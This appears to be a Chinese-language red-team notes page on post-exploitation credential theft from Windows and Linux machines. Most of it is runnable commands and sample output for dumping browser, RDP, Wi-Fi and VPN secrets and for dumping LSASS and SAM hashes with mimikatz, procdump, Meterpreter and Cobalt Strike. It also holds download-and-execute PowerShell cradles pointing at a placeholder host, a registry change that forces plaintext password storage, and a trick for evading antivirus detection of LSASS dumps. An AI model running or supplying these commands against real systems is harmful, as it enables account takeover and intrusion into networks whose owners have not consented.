C:\Users\gbb\Desktop>DIR /S /B /A C:\   2>nul  | FINDSTR /E ".inc .conf. .config .xls .xlsx .docx .doc .pptx .ppt .ini .xml .log .txt .yml"
C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\symbols\symbase.xml
C:\Program Files\Common Files\System\ado\adojavas.inc
C:\Program Files\Common Files\System\ado\adovbs.inc
C:\Program Files\Common Files\System\msadc\adcjavas.inc
C:\Program Files\Common Files\System\msadc\adcvbs.inc
C:\Program Files\Common Files\System\Ole DB\oledbjvs.inc
C:\Program Files\Common Files\System\Ole DB\oledbvbs.inc
C:\Program Files\Common Files\Wondershare\PDFExpert\AddIns\PEShellExtension.exe.config
C:\Program Files\Common Files\Wondershare\PDFExpert\AddIns\PEShellExtension.log
C:\Program Files\dotnet\LICENSE.txt
C:\Program Files\dotnet\ThirdPartyNotices.txt
......

这是遍历所有盘符,如果目标只有一个盘符,就可以用 where 命令搜索指定盘符。

C:\Users\gbb>where /r E:\ *.inc *.conf *.config *.properties *.json *.xls *.xlsx *.docx *.doc *.pptx *.ppt *.ini *.xml *.log *.txt *.md *.sql *.yml *.yaml *密码* *运维* *账户* *拓扑* > filesList.txt

有了敏感文件路径清单后,筛出感兴趣的文件名 type filesList.txt| findstr "KeyWrod" > files.txt,使用 FINDSTR 遍历每个文件内容关键字,找出敏感信息。

假如 files.txt 有以下文件路径。

C:\Users\gbb\Desktop\1.txt
C:/Users/gbb/Desktop/1.txt
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt

将关键字保存到 keyword.txt。

user=
pass=
login=
uid=
pwd=

运行后会自动把匹配的这行数据给打印出来,很直观,要是这行数据特别长直接输出就不太方便了。

C:\Users\gbb\Desktop>FINDSTR /G:keyword.txt /F:files.txt
C:\Users\gbb\Desktop\1.txt:user=admin
C:\Users\gbb\Desktop\1.txt:pass=testadmin
C:\Users\gbb\Desktop\1.txt:login=baidu
C:\Users\gbb\Desktop\1.txt:uid=100
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:pass=111
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:pass===
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:pass=0
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:login=1986
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:pass=word91

关键字匹配的另一种执行方式作为命令行参数输入,在参数比较少的情况下很便捷。

C:\Users\gbb\Desktop>FINDSTR /C:"user=" /C:"pass=" /C:"login=" /C:"uid=" /C:"pwd=" /F:files.txt
C:\Users\gbb\Desktop\1.txt:user=admin
C:\Users\gbb\Desktop\1.txt:pass=testadmin
C:\Users\gbb\Desktop\1.txt:login=baidu
C:\Users\gbb\Desktop\1.txt:uid=100
C:\Users\gbb\Desktop\1.txt:pwd=1tsszD:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:pass=111
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:pass===
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:pass=0
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:login=1986
D:/gbb/dict/SecLists-2022.2/Passwords/Leaked-Databases/md5decryptor-uk.txt:pass=word91

FINDSTR 也可以对单个文件进行匹配,这里提供了很多文件后缀,比较适合在当前目录去搜,比如 Web 目录快速搜索敏感信息。

FINDSTR /C:"user=" /C:"pass=" /C:"login=" /C:"uid=" /C:"pwd=" /S /I *.ini *.inf *.txt *.cgi *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.log *.bak *.yml

这里演示对当前目录下所有 .txt 后缀结尾的文件匹配查关键字。

PS C:\Users\gbb\desktop> FINDSTR /C:"user=" /C:"username=" /C:"name=" /C:"login=" /C:"uid=" /C:"pwd=" /C:"pass=" /C:"password=" /S /I *.txt
1.txt:user=admin
1.txt:pass=testadmin
1.txt:login=baidu
1.txt:uid=100
1.txt:pwd=1tssz

2.PowerShell

PowerShell 也可以做到筛选文件后缀操作,思路和 CMD 一样,只是语法不同。

PS C:\Users\gbb> 65..90 | %{Get-ChildItem -Hidden -Recurse -File "$([char]$_):\" 2> $null} | %{$_.FullName} | Select-String -Pattern "\.inc$", "\.conf$", "\.config$", "\.properties", "\.json","\.xls$", "\.xlsx$", "\.docx$", "\.doc$", "\.pptx$", "\.ppt$", "\.ini$", "\.xml$", "\.log$", "\.txt$", "\.md$", "\.yml$", "\.yaml$", "\.*密码.*", "\.*运维.*", "\.*账户.*", "\.*拓扑.*"

C:\AVScanner.ini
C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RHeartbeatConfig.xml
C:\Program Files\Common Files\microsoft shared\ClickToRun\FrequentOfficeUpdateSchedule.xml
C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgrschedule.xml
......

65..90 | %{"$([char]$_):\"} range 运算符快速生成 65-90 数字(或者也可以 For 循环完整语法等价替换 for ($i = 65; $i -le 90; $i++) {[char]$i}),%{Get-ChildItem -Recurse -File "$([char]$_):\" 2> $null} 用 foeach 循环 [char] 转换成字符 A-Z 作为盘符参数用于 Get-ChildItem 递归获取文件名,通过管道 %{$_.FullName} 得到文件绝对路径字符串,使用 Select-String 正则所有对应关键字晒出目标文件。

在学习过程中也遇到很多问题,比如下面语句能筛出文件绝对路径,但是输出结果是对象,找了很多命令(如 Out-String 转换成字符串)也不能通过关键字筛出想要内容。

65..90 | %{Get-ChildItem -Hidden -Recurse -File "$([char]$_):\" 2> $null} | Format-List -Property VersionInfo
65..90 | %{Get-ChildItem -Hidden -Recurse -File "$([char]$_):\" 2> $null} | Format-List Fullname
65..90 | %{Get-ChildItem -Hidden -Recurse -File "$([char]$_):\" 2> $null} | Format-Wide -Column 1 Fullname

四、Linux

/tmp 内的文件定时自动清理或者重启清理,有人习惯把不用的文件直接扔进去,另一个路径是 /var/tmp 这个目录不会自动清理文件。可以先从俩临时文件夹中找数据。

使用 find 找对应后缀文件,egrep 文件内容筛关键字。一般找 Home 目录和应用、日志目录。-type f 是搜普通文件,-regex 代表用正则搜。

find / -type f -regex '.*\.txt\|.*\.xml\|.*\.php\|.*\.jsp\|.*\.conf\|.*\.bak\|.*\.js\|.*\.inc\|.*\.htpasswd\|.*\.inf\|.*\.ini\|.*\.log|.*\.sh|.*\.config' > files.txt 2> /dev/null

最后对这些文件筛关键字。

// 可以筛出结果。但是不能显示文件路径,为了定位文件最好找出关键字。
cat files.txt | xargs -t -n 1 egrep "password=" 2> /dev/null
浏览器

在浏览器中需要关注,保存的密码、书签、浏览历史、保存的 Cookie。一般浏览器数据都是工具自动化一键获取,很少手动操作。

Chrome 浏览器数据解密。

// 浏览记录文件
dir %localappdata%\Google\chrome\USERDA~1\Default\History

// 浏览器 cookies 文件
dir %localappdata%\Google\Chrome\USERDA~1\Default\Cookies

// 浏览器书签文件
dir %localappdata%\Google\Chrome\USERDA~1\Default\Bookmarks

// 浏览器保存的密码文件
dir "%localappdata%\Google\Chrome\USERDA~1\Default\Login Data"

// imikaz 读取 Chrome 浏览器历史记录。
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\Google\Chrome\USERDA~1\Default\LOGIND~1" exit

// mimikaz 读取 Chrome 浏览器 Cookie。
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\Google\Chrome\USERDA~1\Default\Cookies /unprotect" exit

浏览器中自动保存的密码肯定不是明文,主要是用 DIAPI 加密,而且登录的哪个用户只能抓哪个用户的浏览器密码,因为每个账户的加密密钥 Masterkey 都不一样。最终加密的内容放在凭据管理器存储的内容。

凭据管理器主要分 Web Credentials 和 Windows Credentials 两块,里面的内容都是 DIAPI 加密过的内容。比如 RDP 保存的密码是放在 Windows Credentials,浏览器 Chrome、Edge 保存的密码是放在 Web Credentials。

cmdkey 查看 Windows Credentials。

PS C:\Users\gbb> cmdkey /l

当前保存的凭据:

    目标: Domain:interactive=RAINGRAY\gbb
    类型: 域密码
    用户: RAINGRAY\gbb

    目标: Domain:interactive=RAINGRAY\administrator
    类型: 域密码
    用户: RAINGRAY\administrator

    目标: LegacyGeneric:target=TERMSRV/localhost
    类型: 普通
    用户: root

    目标: Domain:interactive=RAINGRAY\admin
    类型: 域密码
    用户: RAINGRAY\admin

    目标: Domain:target=DESKTOP-PMCO6SN
    类型: 域密码
    用户: hwyx

vaultcmd 查看 Web/Windows Credentials。

C:\Users\gbb>vaultcmd /listcreds:"Web 凭据"
保管库中的凭据: Web 凭据

凭据架构: Windows Web Password Credential
资源: https://test.baidu.com.cn/
标识: ajkdc
保存者: Internet Explorer
隐藏: 是
漫游: 否
属性(架构元素 ID,值): (100,D5B63C4E5625D84CA48DC755C737CBA6)

C:\Users\gbb>vaultcmd /listcreds:"Windows 凭据"
保管库中的凭据: Windows 凭据

凭据架构: Windows 域密码凭据
资源: Domain:target=TERMSRV/172.20.10.5
标识: RAINGRAY\test$
隐藏: 否
漫游: 否
属性(架构元素 ID,值): (100,2)

凭据架构: Windows 域密码凭据
资源: Domain:target=DESKTOP-PMCO6SN
标识: hwyx
隐藏: 否
漫游: 否
属性(架构元素 ID,值): (100,3)
属性(架构元素 ID,值): (101,SspiPfc)

PS:

使用 vaultcmd 命令 /listcreds 参数查看有哪些凭证,在不同的系统下这个选项的参数值是不同的,比如中文下 vaultcmd /listcreds:"Web 凭据" 就可以查到 Web 凭证信息,因为中文下就叫 “Web 凭证”,而 English 下则叫 “Web Credentials”。

那我怎么知道其它语言环境下这个参数值是多少呢?这到好说,可以通过 vaultcmd /list 查看输出结果,以中文环境为例,其中 “保管库” 的值就是 Web 凭据和 Windows 凭据,因此 /listcreds 参数就可以填这两个值。

C:\Users\gbb>vaultcmd /list
当前加载的保管库:
        保管库: Web 凭据
        保管库 GUID: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28
        位置: C:\Users\gbb\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

        保管库: Windows 凭据
        保管库 GUID: 77BC582B-F0A6-4E15-4E80-61736B6F3B29
        位置: C:\Users\gbb\AppData\Local\Microsoft\Vault

命令所查询出的内容在控制面板同样可以查看。

Windows凭据管理器.png

远程桌面连接

在获取浏览器凭证的小结知道了浏览器保存的密码是放在凭据管理器中 Web 部分,其实远程桌面连接也是如此,其密码是存放在 Windows 凭据中,不过密码是 DPAPI 加密过的。

查询连接记录。

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

或者用 List-RDP-Connections-History 脚本获取 RDP 连接记录。

powershell -exec bypass -f ListAllUsers.ps1

查询 RDP 凭证文件。

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

使用管理员权限 Shell 运行 mimitakz 获取 CredentialFile 的 guidMasterKey。后面通过 sekurlsa::dpapi 获取所有 Masterkey,再用前面 lguidMasterKey 这个值去搜,能找到一个匹配的值,这个值相应的名称叫 GUID,这个组下面还有个数据 MasterKey 是真实凭证加密密钥,这个 MasterKey 接下来解密要用需要记下来。

.\mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\<UserName>\AppData\Local\Microsoft\Credentials\<CredentialFileName>" "sekurlsa::dpapi" "exit"

通过获取到的 MasterKey 密钥解密凭证文件得到密码。

.\mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\<UserName>\AppData\Local\Microsoft\Credentials\<CredentialFileName> /masterkey:<MasterKey>" "exit"

非得命令行这么麻烦去获取吗?有 RDP 的情况下直接远程桌面运行图形化工具 Dialupass.exe 导出 RDP 密码。

历史命令⚒️

一、Linux Shell

使用 history 看看记录中是不是存在凭证

二、PowerShell

PowerShell 执行过的命令历史会存留记录,文件位于用户数据目录:

C:\Users\gbb>type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
scrcons.exe
screentogif.exe
node
cd desktop
node .\realPath.js
node
......
PS C:\Users\gbb> Get-Content (Get-PSReadlineOption).HistorySavePath
scrcons.exe
screentogif.exe
node
cd desktop
node .\realPath.js
node
......

渗透技巧——获得Powershell命令的历史记录一文里有更详细的描述,比如目标机器正运行 powershell 由于没退出不会保存到文件里,怎么读运行的命令?同样的 cmd 正在运行怎么读取执行过的命令?

师傅给出的方案是向进程发送键盘消息,比如向 cmd 进程发送的消息是命令 doskey /h 就能读取运行过的命令,向 powershell 发送消息 Get-History,能读取 Powershell 运行过的命令。

先看 Powershell

https://github.com/3gstudent/Homework-of-C-Language/blob/master/SendKeyboardMessageToPowershell(Get-History).cpp

剪切板⚒️

有远程桌面连接上去了,可以 Win + v 打开剪切板,快速找到历史复制剪切内容。

命令行 Shell 的情况下怎么读是个问题:https://3gstudent.github.io/Windows%E4%B8%8B%E5%89%AA%E8%B4%B4%E6%9D%BF%E7%9A%84%E5%88%A9%E7%94%A8

文档备份文件⚒️

一、记事本

Windows 11 记事本会自动保存文件。

https://forum.butian.net/share/2947

二、Visual Studio Code

VSCode 在 1.66 版本新增 Local history 功能并默认启用,在编辑文件后会自动产生备份,可以通过 TimeLine 视图找回。这个备份文件存储在 %AppData%/Code/User/History 中。

三、Typora

Typora 默认备份位置 %AppData%\Typora\draftsRecover

四、VIM

vim 异常退出存在缓存文件。

五、WPS

%AppData%\Roaming\kingsoft\office6\backup

六、Word

%AppData%\Roaming\Microsoft\Word

共享

在内网环境下,大家传输文件通常会有共享(NFS/NAS/FTP/SMB),如果没做好网络隔离或者权限配置不当,可能直接访问就能获取内容,在实战中遇到过开发将密码、代码、测试环境、漏洞测试报告等资料未加密存储。

net share 查本机已经开放或建立连接的共享,wmic 查看可以访问的共享。

net share
wmic share get name,path,status

查看资源管理器历史记录,很有可能有历史共享记录。

PS C:\Users\gbb> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
    url7    REG_SZ    C:\Users\gbb\AppData\Roaming\Microsoft\Templates
    url8    REG_SZ    E:\Listary
    url9    REG_SZ    C:\ProgramData\Microsoft\Windows
    url10    REG_SZ    E:\Temp\360zip$Temp\360$3
    url11    REG_SZ    E:\Temp\360zip$Temp\360$2
    url12    REG_SZ    D:\raingray\Project
    url13    REG_SZ    \\172.20.10.5\c$
    url14    REG_SZ    \\172.20.10.5
    url15    REG_SZ    E:\Desktop\osinfo\target\x86_64-pc-windows-msvc\release
    url16    REG_SZ    D:\Pandoc
    url17    REG_SZ    D:\raingray\Tools\PostExploitation\InformationGather\Rubeus-master

查看指定机器共享。

new view \\computername

最简单的是将内网所有存活主机,批量粘贴到 PowerShell 中自动查,或者直接写成小工具自动化查。

net view \\<Host>
net view \\<Host>
......

在域中查更简单,不需要任何参数,默认直接把域内主机存在共享的主机名输出,要知道还有哪些共享内容,可以进一步跟主机名查。

new view

使用 PowerView 可以直接域内哪写机器有哪些共享直观展示输出。

Get-DomainComputer | Get-NetShare

Find-DomainShare

查其他域共享。

Find-DomainShare -domain <Domain name>

能够展示有共享还不行,要看能不能读。

Find-DomainShare -CheckShareAccess

磁盘映射。这条命令是将 Host 下 c$ 默认共享盘符 C 盘给映射到本地 k 盘,后面就可以直接访问 k:\ 下所有文件,不过默认映射是需要账户登录的,这里使用 /u: 作为用户名 作为密码登录。

net use k: \\<Host>\c$ <Password> /u:<UserName>

如果目标共享没有认证,也没必要这么麻烦,可以直接像操作本地一样操作。

CD \\<HOST>
COPY \\<Host>\<File> C:\Windows\tasks
回收站
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ AccountNameIs:%c 2>nul

遍历回收站目录 C:\$Recycle.Bin 下每个用户 sid,这个 sid 目录里包含删除文件,以 $I 开头的文件内容是删除文件前存放路径,$R 开头的文件就是回收站里的数据。

C:\Users\gbb\Desktop>FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ AccountNameIs:%c 2>nul

C:\Users\gbb\Desktop>dir /a /b C:\$Recycle.Bin\S-1-5-21-3024751843-2535029458-3924619718-500\ AccountNameIs:Administrator  2>nul

C:\Users\gbb\Desktop>dir /a /b C:\$Recycle.Bin\S-1-5-21-3024751843-2535029458-3924619718-503\ AccountNameIs:DefaultAccount  2>nul

C:\Users\gbb\Desktop>dir /a /b C:\$Recycle.Bin\S-1-5-21-3024751843-2535029458-3924619718-1001\ AccountNameIs:gbb  2>nul
$I0E0HZH.txt
......
$R4D9BZK
$R4W3S64.txt
$R6C5WCI.java
$R6IXPC9.txt
$R6J3EQV.txt
$R6PC2LV.txt
$R6XRS59.txt
$R8WK27D.txt
$R9RLGDT.txt
$R9USNWA.txt
$R9Z3B57
$RA7CHLU.txt
$RA7QWH8.txt
$RARVUF7.txt
......

C:\Users\gbb\Desktop>dir /a /b C:\$Recycle.Bin\S-1-5-21-3024751843-2535029458-3924619718-501\ AccountNameIs:Guest  2>nul


C:\Users\gbb\Desktop>dir /a /b C:\$Recycle.Bin\S-1-5-21-3024751843-2535029458-3924619718-504\ AccountNameIs:WDAGUtilityAccount  2>nul

  2>nul \gbb\Desktop>dir /a /b C:\$Recycle.Bin\\ AccountNameIs:
S-1-5-18
S-1-5-21-3024751843-2535029458-3924619718-1000
S-1-5-21-3024751843-2535029458-3924619718-1001
S-1-5-21-3024751843-2535029458-3924619718-1002
S-1-5-21-3024751843-2535029458-3924619718-1003
S-1-5-21-3024751843-2535029458-3924619718-1006
S-1-5-21-3024751843-2535029458-3924619718-1008
S-1-5-21-3024751843-2535029458-3924619718-1011
S-1-5-21-3024751843-2535029458-3924619718-1013
S-1-5-21-3024751843-2535029458-3924619718-1014
S-1-5-21-3024751843-2535029458-3924619718-1016
S-1-5-21-3024751843-2535029458-3924619718-1017
S-1-5-21-3024751843-2535029458-3924619718-1020
S-1-5-21-3024751843-2535029458-3924619718-1028
S-1-5-21-3024751843-2535029458-3924619718-1030
S-1-5-21-3024751843-2535029458-3924619718-500
S-1-5-21-3804654160-2258506165-1772517468-500

C:\Users\gbb\Desktop>
Wi-Fi

以下命令需要 wlansvc 服务处于运行状态。

// 获取 wlan profile。连接过哪些 Wi-Fi。
netsh wlan show profile

// 获取指定 profile 明文密码
netsh wlan show profile name="ProfileName" key=clear

// 当前连接的哪个 Wi-Fi(SSID)。
netsh wlan show networks mode=bssid
netsh wlan show interfaces

cmd 循环获取所有 Wi-Fi 名称和密码。

E:\Desktop>for /f "skip=10 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @for /f "tokens=1-2 delims=:" %k in ('netsh wlan show profiles %j key ^= clear ^|findstr /i "关键内容"') do @echo %j,%l
 CC-hXSJ, n******bc
 TP-LINK_C0A2, f*****-8
 A的iPhone, w5*****b1
 ......
PPTP

1.具体获取配置文件信息

type %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

其中 DEVICE 是配置文件名称,PhoneNumber 是服务器 IP。

2.获取密码

mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

cur/text 就是账户,但是不知道为啥格式乱了,这里我设置的账户是 admin/admin123,老账户是 admin/admin。

cur/text: 2585290616083adminadmin1230
old/text: 2585290616083adminadmin0

3.尝试连接到 VPN

第一个参数 VPN 是前面读取配置文件中的 DEVICE 值,后面两个是用户名和密码。连接要注意的是你登录成功别人会掉线。

rasdial "VPN" vpnlogin ad

断开连接。

rasphone -h "VPN"
WSL

有些研发、运维、测试机器上喜欢用 WSL(Windows Subsystem for Linux),可以查询已经安装了哪些系统。

C:\Users\gbb>wsl -l
适用于 Linux 的 Windows 子系统分发:
kali-linux (默认)

后续还是 Linux 收集那一套,已经在上面说过了。

键盘记录⚒️

Keylogger

pass

PAM SSH 账户抓取⚒️

PAM 后门获取 SSH 登录成功的用户名和密码。

即时通讯聊天记录🔨

微信 https://github.com/xaoyaoo/PyWxDump
QQ
钉钉
内网通

Web 应用登陆入口账户抓取🔨

在应用登陆入口修改它源码记录写入本地,或者出网的情况下直接发送到我们的 Web 服务器。

可以补充下通达 OA 2015 的案例。

其他常用软件

1.Keepass

2.Xshell

3.PuTTY

PuTTY 对连接设置的代理账户在注册表中式明文存储。

PuTTY 代理设置.png

C:\Windows\system32>reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\My%20ssh%20server
    ProxyExcludeList    REG_SZ
    ProxyDNS    REG_DWORD    0x1
    ProxyLocalhost    REG_DWORD    0x0
    ProxyMethod    REG_DWORD    0x0
    ProxyHost    REG_SZ    proxy
    ProxyPort    REG_DWORD    0x50
    ProxyUsername    REG_SZ    ProxyName
    ProxyPassword    REG_SZ    ProxyPassWord
    ProxyTelnetCommand    REG_SZ    connect %host %port\n
    ProxyLogToTerm    REG_DWORD    0x1

4.MySQL

MySQL 数据库 5.x 和 MariaDBB 10.x/11.x 都可以通过 MySQL 数据库文件后缀名来定位 mysql.users 表在哪:

  • frm,表描述文件
  • MYD,表数据
  • MYI,表数据索引

这个内容已经在 SQLI (SQL Injection) - MySQL 写过,不再重复说了。

5.Navicat

6.向日葵

Windows 系统本地账户哈希和密码获取

关于认证的原理请看 4.1 Windows 认证概要中的本地认证小节。

一、在目标机器运行 Mimikatz 读取

提取哈希和密码最常用到就是 Mimikatz,通常由在目标机器上运行工具读需要管理员权限,或者是离线下载读则不需要。

这里并不使用交互的方式运行工具,Shell 可能不支持,而是将选项作为参数合并成一条命令去运行。

1.上传并运行可执行文件⚒️

首先要用 token::elevate 模拟 SYSTEM 账户 Token 权限,其次是 privilege::debug 启用 SeDebugPrivlege 权限(这个权限用 whoami /priv 可以查询到)访问 lsass.exe 进程,最后才能 lsadump::sam 从 SAM 数据库中获取 NT hash。这整个过程可以用 log 输出运行的结果到 res.txt 文件。

mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"

如果 Windows Server 小于 2012 版本,sekurlsa::logonpasswords 可以从 lsass.exe 进程内存中获取明文密码。同样也是要先获取 SYSTEM 最后获取 Debug 权限。如果要获取机器上登录过的域账户哈希可以使用这条命令,如果机器重启这些登录过的账户信息就不存在了,毕竟是保存在 lsass 内存里的。

mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

对于 Mimikatz 读不到 lsass 进程内存明文密码是因为微软在 Windows 8.1、Windows Server 2012 R2 及以后版本 KB2871997 功能融合到系统本身,此补丁让系统默认关闭 WDigest 认证,因此不保存明文密码。

不过此功能可以手动设置注册表 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest 下的 UseLogonCredential 为 1 启用。之后等管理员重新通过 RDP 登录后才能获取到明文密码。至于怎么管理员登录,你可以让服务停掉,或者想办法重启服务器。

# 启用
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# 关闭
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

现如今 Windows 直接杜绝 Hash 凭证被获取的可能性,从 Windows 10 和 Windows Server 2016 起开始加入了 Credential Guard 功能,导致无法导出哈希。

2.PowerShell 版本

Invoke-Mimikatz.ps1 版 1Invoke-Mimikatz.ps1 版 2 获取明文密码

powershell IEX(New-Object Net.WebClient).DownloadString('http://HOST/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds

Get-PassHashes.ps1 获取 Hash

powershell IEX(New-Object Net.WebClient).DownloadString("http://HOST/Get-PassHashes.ps1");Get-PassHashes

3.C Sharp 版本

目标限制上传文件大小,文件传输条件苛刻,可以上传 C Sharp 版本源码,大概 500 KB 左右。

上传成功后可以搜索目标系统 Dotnet 编译环境 csc.exe。

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

怕有杀软拦截可以把 csc..exe 复制出来重命名去编译源码。

csc.exe mimi.cs /unsafe

4.Meterpreter 运行 Mimikatz

Meterpreter 获取 Hash,前提要拿到 SYSTEM 权限 getuid

use post/windows/gather/hashdump
set session 1
exploit
use post/windows/gather/smart_hashdump
set session 1
exploit

使用 Mimikatz

// 加载 mimikatz
load mimikatz

// 获取 hash 1
wdigest
kerberos
msv
ssp
tspkg
livessp

// 查询模块使用
mimikatz_command -h

// 查询有哪些模块
mimikatz_command -f::

// 获取 hash 2
mimikatz_command -f samdump::hashes // 获取 hash
mimikatz_command -f sekurlsa:searchPasswords // 获取明文
mimikatz_command -f samdum:bootkey

5.Cobalt Strike 运行 Mimikatz 模块

Cobalt Strike Beacon 获取 Hash

hashdump
logonpasswords

// 也可以执行 mimikatz 命令
mimikatz sekurlsa::logonpassword

二、离线读

1.Procdump 提取 lsass.exe 数据到文件

Procdump 导出 lsass 进程数据,用 Mimikatz 读取数据。Procdump 默认不存在于系统,需要下载传到目标机器使用,在使用的过程中需要管理员权限运行,普通用户无法转存。

// 32 位系统用法
procdump.exe -accepteula -ma lsass.exe lsass.dmp

// 64 位系统用法
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

有 RDP 的话更方便,直接登录上去打开任务管理器找到 lsass.exe 进程,右键创建转储文件。

将获取到数据到下载回来 mimikatz 读取。

mimikatz.exe "log" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

2.通过 MiniDumpWriteDump API 获取 lsass.exe 进程内存

mimikatz 使用的 minidump 也是通过 MiniDumpWriteDump API 来操作的,可以自己编写 API 来操作,或者是调用使用 MiniDumpWriteDump API 的程序。

关于这个思路可以阅读 red note 提供的资料

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz

下面使用管理员权限运行(这样才有 SeDebugPrivlege 权限) rundll32.exe 应用调用 comsvcs.dll 中的 MiniDump 方法导出进程 PID 为 1412 的 lsass.exe 进程内存信息,保存为 lsass.dmp 文件。

// cmd
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1412 E:\desktop\lsass.dmp full

// powershell
powershell "rundll32 C:\windows\System32\comsvcs.dll, MiniDump 1412 E:\desktop\lsass.dmp full"

直接使用上面命令在 Windows 11 23H2 22631.4602 导出会被火绒 6.0.5.0 拦截,可以把这个 dll 从这个目录复制出来在当前目录下运行,避免目录特征,导出的内存文件名也重命名下,这样就能绕过默认目录和默认输出文件名这两个告警。

rundll32.exe comsvcs.dll, MiniDump 1412 E:\desktop\softwareCrash.log full

mimikatz 离线读。

mimikatz.exe "log" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

3.Dump64 提取 lsass.exe 数据到文件(待补充)⚒️

Microsoft Visual Studio 自带的工具,位于 Microsoft Visual Studio\Installer\Feedback\

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dump64/

dump64.exe <LsassPID> lsass.dmp

4.注册表导出 SAM 数据库获取 Hash

使用管理员权限把注册表 HKLM 中的 SAM 数据库导出。

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

sam.hiv 100 KB 左右,system.hiv 26 MB 左右,security.hiv 48 KB 左右。这几个文件 WebShell 无法下载到数据库的话,可以改成正常名称放到目标 Web 目录下载。

离线解析获取哈希。

// 方式一 mimikatz
mimikatz.exe log "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

// 方式二 impacket-secretsdump
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

这里解释下获取到的哈希格式:UserName:RID:LM-Hash:NT-Hash:::

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:98feb9b195adec8f7336e5471d6e435d:::
wuhui:1001:aad3b435b51404eeaad3b435b51404ee:9df8fdcfb193c34fb9770367491e25d1:::

其中 RID 是每个用户的唯一标识。可以查看 SID 最后的数字获得。这里每个用户 SID 前缀都是 S-1-5-21-3024751843-2535029458-3924619718- 后面跟上数字,这个数字就是 RID。

PS C:\Users\gbb> wmic USERACCOUNT list brief
AccountType  Caption                      Domain    FullName   Name                SID

512          RAINGRAY\Administrator       RAINGRAY             Administrator       S-1-5-21-3024751843-2535029458-3924619718-500
512          RAINGRAY\DefaultAccount      RAINGRAY             DefaultAccount      S-1-5-21-3024751843-2535029458-3924619718-503
512          RAINGRAY\gbb                 RAINGRAY  rain gray  gbb                 S-1-5-21-3024751843-2535029458-3924619718-1001
512          RAINGRAY\Guest               RAINGRAY             Guest               S-1-5-21-3024751843-2535029458-3924619718-501
512          RAINGRAY\WDAGUtilityAccount  RAINGRAY             WDAGUtilityAccount  S-1-5-21-3024751843-2535029458-3924619718-504

